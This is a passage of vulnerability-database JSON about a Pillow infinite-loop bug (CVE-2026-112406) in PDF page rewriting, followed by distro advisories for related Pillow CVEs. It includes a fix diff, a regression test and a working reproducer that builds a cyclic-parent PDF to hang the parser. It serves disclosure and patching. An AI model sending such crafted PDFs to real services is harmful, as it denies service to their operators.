processed_pages_tree_nodes.add(pages_tree_node_ref)\n                 pages_tree_node = self.cached_objects[pages_tree_node_ref]\n                 if pages_tree_node_ref.object_id in self.xref_table:\n                     del self.xref_table[pages_tree_node_ref.object_id]\n```\n\n## The patch (2 of 2)\n\nRaise PdfFormatError(\"page tree loop found\") in PdfParser.rewrite_pages() when a page's /Parent chain loops back on itself\n\nApplies to `src/PIL/PdfParser.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_pdfparser.py b/Tests/test_pdfparser.py\nindex f2ae6b11f..24faeefbc 100644\n--- a/Tests/test_pdfparser.py\n+++ b/Tests/test_pdfparser.py\n@@ -169,3 +169,27 @@ def test_duplicate_xref_entry() -\u003e None:\n def test_trailer_loop() -\u003e None:\n     with pytest.raises(PdfFormatError, match=\"trailer loop found\"):\n         PdfParser(\"Tests/images/trailer_loop.pdf\")\n+\n+\n+@pytest.mark.timeout(5)\n+def test_page_tree_parent_loop() -\u003e None:\n+    # the /Pages root names itself as its own /Parent\n+    objects = [\n+        b\"\u003c\u003c/Type /Catalog /Pages 2 0 R\u003e\u003e\",\n+        b\"\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R\u003e\u003e\",\n+        b\"\u003c\u003c/Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]\u003e\u003e\",\n+    ]\n+    b = BytesIO(b\"%PDF-1.4\\n\")\n+    offsets = []\n+    for object_id, body in enumerate(objects, start=1):\n+        offsets.append(b.tell())\n+        b.write(b\"%d 0 obj\\n%s\\nendobj\\n\" % (object_id, body))\n+    xref_offset = b.tell()\n+    b.write(b\"xref\\n0 4\\n0000000000 65535 f \\n\")\n+    b.write(b\"\".join(b\"%010d 00000 n \\n\" % offset for offset in offsets))\n+    b.write(b\"trailer\\n\u003c\u003c/Size 4 /Root 1 0 R\u003e\u003e\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref_offset)\n+\n+    with PdfParser(f=b, mode=\"r+b\") as pdf:\n+        pdf.start_writing()\n+        with pytest.raises(PdfFormatError, match=\"page tree loop found\"):\n+            pdf.write_catalog()\ndiff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py\nindex 672557190..9021b8d63 100644\n--- a/src/PIL/PdfParser.py\n+++ b/src/PIL/PdfParser.py\n@@ -502,7 +502,13 @@ class PdfParser:\n                     self.pages[j] = new_page_ref\n         # delete redundant Pages tree nodes from xref table\n         for pages_tree_node_ref in pages_tree_nodes_to_delete:\n+            processed_pages_tree_nodes = []\n             while pages_tree_node_ref:\n+                check_format_condition(\n+                    pages_tree_node_ref not in processed_pages_tree_nodes,\n+                    \"page tree loop found\",\n+                )\n+                processed_pages_tree_nodes.append(pages_tree_node_ref)\n                 pages_tree_node = self.cached_objects[pages_tree_node_ref]\n                 if pages_tree_node_ref.object_id in self.xref_table:\n                     del self.xref_table[pages_tree_node_ref.object_id]\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer — \u003ccode\u003erepro\u003c/code\u003e, 3,152 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Infinite loop in PdfParser.rewrite_pages() on a cyclic /Parent chain.\n\nAppending an image to an existing PDF (im.save(fp, \"PDF\", append=True)) makes\nrewrite_pages() walk each original page's /Parent chain upward until a node has\nno /Parent.  Nothing records which nodes were visited, so a /Pages node that\nnames itself as its own /Parent keeps the walk going forever.\n\nWe append a 4x4 image to two one-page PDFs that differ in one entry:\n  control - a normal PDF                          -\u003e finishes in milliseconds\n  cyclic  - the /Pages root also says /Parent 2 0 R -\u003e never finishes\nA SIGALRM watchdog interrupts the append and shows the line it was stuck on.\n\"\"\"\nimport io\nimport signal\nimport time\nimport traceback\n\nfrom PIL import Image\n\nWATCHDOG_S = 5\n\n\ndef make_pdf(pages_root):\n    \"\"\"Catalog (1) -\u003e /Pages root (2) -\u003e /Page (3), with a correct xref table.\"\"\"\n    objects = [\n        b\"\u003c\u003c/Type /Catalog /Pages 2 0 R\u003e\u003e\",\n        pages_root,\n        b\"\u003c\u003c/Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]\u003e\u003e\",\n    ]\n    pdf = bytearray(b\"%PDF-1.4\\n\")\n    offsets = []\n    for num, body in enumerate(objects, start=1):\n        offsets.append(len(pdf))\n        pdf += b\"%d 0 obj\\n%s\\nendobj\\n\" % (num, body)\n    xref_offset = len(pdf)\n    pdf += b\"xref\\n0 4\\n0000000000 65535 f \\n\"\n    pdf += b\"\".join(b\"%010d 00000 n \\n\" % off for off in offsets)\n    pdf += b\"trailer\\n\u003c\u003c/Size 4 /Root 1 0 R\u003e\u003e\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref_offset\n    return bytes(pdf)\n\n\nclass StillRunning(BaseException):\n    pass\n\n\ndef on_alarm(signum, frame):\n    raise StillRunning\n\n\ndef append_image(name, pdf):\n    \"\"\"Append an image to `pdf`; return True if it finished before the watchdog.\"\"\"\n    print(f\"--- {name}: {len(pdf)}-byte PDF ---\")\n    print(pdf.decode(\"latin-1\"), end=\"\")\n    signal.alarm(WATCHDOG_S)\n    start = time.monotonic()\n    try:\n        Image.new(\"RGB\", (4, 4)).save(io.BytesIO(pdf), \"PDF\", append=True)\n    except StillRunning as e:\n        print(f\"[{name}] still running after {WATCHDOG_S}s, interrupted in:\")\n        for frame in traceback.extract_tb(e.__traceback__):\n            if \"/PIL/\" in frame.filename:\n                print(f\"    {frame.name}()  {frame.filename}:{frame.lineno}  {frame.line}\")\n        return False\n    except Exception as e:  # rejecting the file is a correct, safe outcome\n        print(f\"[{name}] raised {type(e).__name__}: {e}\")\n        return True\n    finally:\n        signal.alarm(0)\n    print(f\"[{name}] append finished in {time.monotonic() - start:.3f}s\")\n    return True\n\n\nsignal.signal(signal.SIGALRM, on_alarm)\n\n# Set up: the well-formed file is appended to instantly.\ncontrol = make_pdf(b\"\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1\u003e\u003e\")\nif not append_image(\"control\", control):\n    print(\"control case did not finish; environment problem, no verdict\")\n    print(\"OK\")\n    raise SystemExit\n\n# Attack: the same file, except the /Pages root is its own /Parent.\ncyclic = make_pdf(b\"\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R\u003e\u003e\")\nfinished = append_image(\"cyclic\", cyclic)\n\n# Verify: a fixed parser finishes (or rejects the file) like the control.\nprint(\"BUG\" if not finished else \"OK\")\n```\n\u003c/details\u003e\n\n---","status":"published","published":"2026-10-21T21:21:07Z","modified":"2026-10-26T08:56:13.538142549Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-835"],"updated_at":"2026-11-02T15:46:45.639885Z"},{"id":"RLSA-2026:92639","title":"Important: python-pillow security update","description":"Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.\n\nSecurity Fix(es):\n\n* pillow: Pillow: Denial of Service via unbounded recursion in PDF parser (CVE-2026-112391)\n\n* pillow: pillow: Denial of service via double free during image transformation (CVE-2026-112402)\n\n* pillow: pillow: Denial of Service via zero-size images in rank filters (CVE-2026-112392)\n\n* pillow: pillow: Denial of Service via out-of-bounds memory access on zero-width images (CVE-2026-112397)\n\n* pillow: Pillow: Denial of Service via null pointer dereference in Image.merge() (CVE-2026-112405)\n\n* pillow: pillow: Denial of Service via crafted multi-frame image conversion (CVE-2026-112894)\n\n* pillow: pillow: Denial of service via crafted PDF during append operations (CVE-2026-112895)\n\n* pillow: pillow: Denial of Service via infinite loop during PDF page rewriting (CVE-2026-112406)\n\n* pillow: pillow: Denial of Service via duplicate page references in PDF files (CVE-2026-96640)\n\n* pillow: pillow: Denial of Service via unbounded memory expansion in MSP image decoder (CVE-2026-112892)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.","status":"published","published":"2026-10-30T12:01:32.049364Z","modified":"2026-10-30T12:30:03.302727339Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:26.76659Z"},{"id":"UBUNTU-CVE-2026-112406","description":"Pillow is a Python imaging library. From 5.1.0 until 13.0.0, Pillow can enter an infinite loop while rewriting PDF pages. PdfParser.rewrite_pages() follows Parent relationships without detecting a cycle in the page tree. An attacker can supply a cyclic PDF to an application that appends an image to that PDF. This can hold the worker at full CPU and deny service. This issue is fixed in version 13.0.0.","status":"published","published":"2026-10-19T22:17:00Z","modified":"2026-11-04T20:03:32.725951945Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-04T21:44:25.758797Z"},{"id":"ALSA-2026:92639","title":"Important: python-pillow security update","description":"Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.  \n\nSecurity Fix(es):  \n\n  * pillow: Pillow: Denial of Service via unbounded recursion in PDF parser (CVE-2026-112391)\n  * pillow: pillow: Denial of service via double free during image transformation (CVE-2026-112402)\n  * pillow: pillow: Denial of Service via zero-size images in rank filters (CVE-2026-112392)\n  * pillow: pillow: Denial of Service via out-of-bounds memory access on zero-width images (CVE-2026-112397)\n  * pillow: Pillow: Denial of Service via null pointer dereference in Image.merge() (CVE-2026-112405)\n  * pillow: pillow: Denial of Service via crafted multi-frame image conversion (CVE-2026-112894)\n  * pillow: pillow: Denial of service via crafted PDF during append operations (CVE-2026-112895)\n  * pillow: pillow: Denial of Service via infinite loop during PDF page rewriting (CVE-2026-112406)\n  * pillow: pillow: Denial of Service via duplicate page references in PDF files (CVE-2026-96640)\n  * pillow: pillow: Denial of Service via unbounded memory expansion in MSP image decoder (CVE-2026-112892)\n\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n","status":"published","published":"2026-10-29T00:00:00Z","modified":"2026-10-30T12:15:02.326932554Z","updated_at":"2026-11-02T15:27:57.367731Z"},{"id":"BIT-pillow-2026-112406","title":"Pillow: Infinite loop in PdfParser.rewrite_pages on page tree Parent cycle","description":"Pillow is a Python imaging library. From 5.1.0 until 13.0.0, Pillow can enter an infinite loop while rewriting PDF pages. PdfParser.rewrite_pages() follows Parent relationships without detecting a cycle in the page tree. An attacker can supply a cyclic PDF to an application that appends an image to that PDF. This can hold the worker at full CPU and deny service. This issue is fixed in version 13.0.0.","status":"published","published":"2026-10-26T05:55:50.663Z","modified":"2026-10-29T10:45:10.487217658Z","updated_at":"2026-11-02T15:28:34.724063Z"},{"id":"CLSA-2026-1792652081","title":"TuxCare security update for pillow (10 CVEs)","description":"TuxCare rebuilt pillow to address 10 CVEs. Fixed in 11.3.0.post8+tuxcare.","status":"published","published":"2026-10-22T06:54:41Z","modified":"2026-10-22T14:15:03.665287737Z","updated_at":"2026-11-02T15:43:54.672859Z"},{"id":"CLSA-2026-1792741691","title":"TuxCare security update for pillow (10 CVEs)","description":"TuxCare rebuilt pillow to address 10 CVEs. Fixed in 11.2.1.post10+tuxcare.","status":"published","published":"2026-10-23T07:48:11Z","modified":"2026-10-23T13:45:07.716050777Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792753381","title":"TuxCare security update for pillow (10 CVEs)","description":"TuxCare rebuilt pillow to address 10 CVEs. Fixed in 10.4.0.post12+tuxcare.","status":"published","published":"2026-10-23T11:03:01Z","modified":"2026-10-23T13:45:07.413104608Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792756028","title":"TuxCare security update for pillow (9 CVEs)","description":"TuxCare rebuilt pillow to address 9 CVEs. Fixed in 9.5.0.post10+tuxcare.","status":"published","published":"2026-10-23T11:47:08Z","modified":"2026-10-23T13:45:34.44315031Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792815256","title":"TuxCare security update for pillow (9 CVEs)","description":"TuxCare rebuilt pillow to address 9 CVEs. Fixed in 9.4.0.post11+tuxcare.","status":"published","published":"2026-10-24T04:14:16Z","modified":"2026-10-24T07:15:02.312329037Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1793015509","title":"TuxCare security update for pillow (9 CVEs)","description":"TuxCare rebuilt pillow to address 9 CVEs. Fixed in 8.4.0.post11+tuxcare.","status":"published","published":"2026-10-26T11:51:49Z","modified":"2026-10-26T13:30:18.930010969Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"openSUSE-SU-2026:12230-1","title":"python313-Pillow-13.0.0-1.1 on GA media","description":"These are all security issues fixed in the python313-Pillow-13.0.0-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-22T00:00:00Z","modified":"2026-10-23T17:23:11.6560743Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"ROOT-APP-PYPI-CVE-2026-112406","title":"CVE-2026-112406 in pillow - Patched by Root","description":"Root has patched CVE-2026-112406 in the pillow package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-11-06T10:13:42Z","modified":"2026-11-06T11:15:03.142413145Z","updated_at":"2026-11-06T11:42:45.055937Z"},{"id":"SUSE-SU-2026:5038-1","title":"Security update for python-Pillow","description":"This update for python-Pillow fixes the following issues:\n\n- CVE-2026-96636: decompression-bomb protection bypass via multi-frame `seek()` in MPO and DCX (bsc#1286802).\n- CVE-2026-96637: decompression bomb check bypass in `SpiderImagePlugin.seek()` leads to unbounded allocation DoS\n  (bsc#1286801).\n- CVE-2026-96640: PDF append accepts malformed shared page-tree DAG, which can cause resource exhaustion (bsc#1286798).\n- CVE-2026-96641: reachable undefined behavior in native integer operations can lead to denial of service or logic\n  integrity compromise (bsc#1286797).\n- CVE-2026-96642: `TarIO` negative size field causes infinite CPU-spin loop (bsc#1286796).\n- CVE-2026-112390: Denial of Service via infinite loop during crafted MIC image parsing (bsc#1286256).\n- CVE-2026-112391: Denial of Service via unbounded recursion in PDF parser (bsc#1286273).\n- CVE-2026-112392: Denial of Service via zero-size images in rank filters (bsc#1286287).\n- CVE-2026-112393: heap buffer overflow and stale-heap disclosure in _tiffWriteProc when saving compressed TIFF data\n  (bsc#1286325).\n- CVE-2026-112394: `P;2L` and `P;4L` decoders may read 1 to 3 bytes past the passed buffer size (bsc#1286311).\n- CVE-2026-112397: out-of-bounds access in `_imagingmorph` on a zero-width image (bsc#1286314).\n- CVE-2026-112398: heap buffer overflow in FPX JPEG decoding can lead to code execution (bsc#1286406).\n- CVE-2026-112399: Denial of service via crafted APNG image (bsc#1286368).\n- CVE-2026-112400: Denial of Service via memory exhaustion from crafted GIF image (bsc#1286370).\n- CVE-2026-112401: Denial of Service via crafted GIF comments (bsc#1286372).\n- CVE-2026-112402: Denial of service via double free during image transformation (bsc#1286381).\n- CVE-2026-112403: heap buffer overflow in `ImagingJpegDecode` allows for code execution (bsc#1286405).\n- CVE-2026-112405: NULL pointer dereference in `Image.merge` via an unvalidated band 0 (bsc#1286404).\n- CVE-2026-112406: infinite loop in `PdfParser.rewrite_pages` on page tree `Parent` cycle (bsc#1286403).\n- CVE-2026-112891: quadratic GIF comment copying during save (bsc#1286402).\n- CVE-2026-112892: MSP RLE decoder expands a tiny file into unbounded memory (bsc#1286401).\n- CVE-2026-112894: Denial of Service via crafted multi-frame image conversion (bsc#1286408).\n- CVE-2026-112895: Denial of service via crafted PDF during append operations (bsc#1286411).\n- CVE-2026-112896: TIFF encoder `ColorMap` plane-size mismatch causes a heap out-of-bounds read (bsc#1286400).\n- CVE-2026-112897: `TiffDecode` returns uninitialized memory as pixels for short JPEG strips (bsc#1286398).\n- CVE-2026-112899: EPS `load(scale)` lets Ghostscript render past the decompression bomb limit (bsc#1286489).\n- CVE-2026-112900: argument Injection in Ghostscript call can lead to remote code execution (bsc#1286397).\n- CVE-2026-112901: ReDoS in `XbmImagePlugin` can be triggered by 512-byte file (bsc#1286396).\n- CVE-2026-112902: memory disclosure and segfault in libtiff encoder via crafted TIFF tags (bsc#1286804).\n","status":"published","published":"2026-11-02T16:22:03Z","modified":"2026-11-03T13:15:08.326276184Z","updated_at":"2026-11-03T13:33:04.521148Z"}]}}
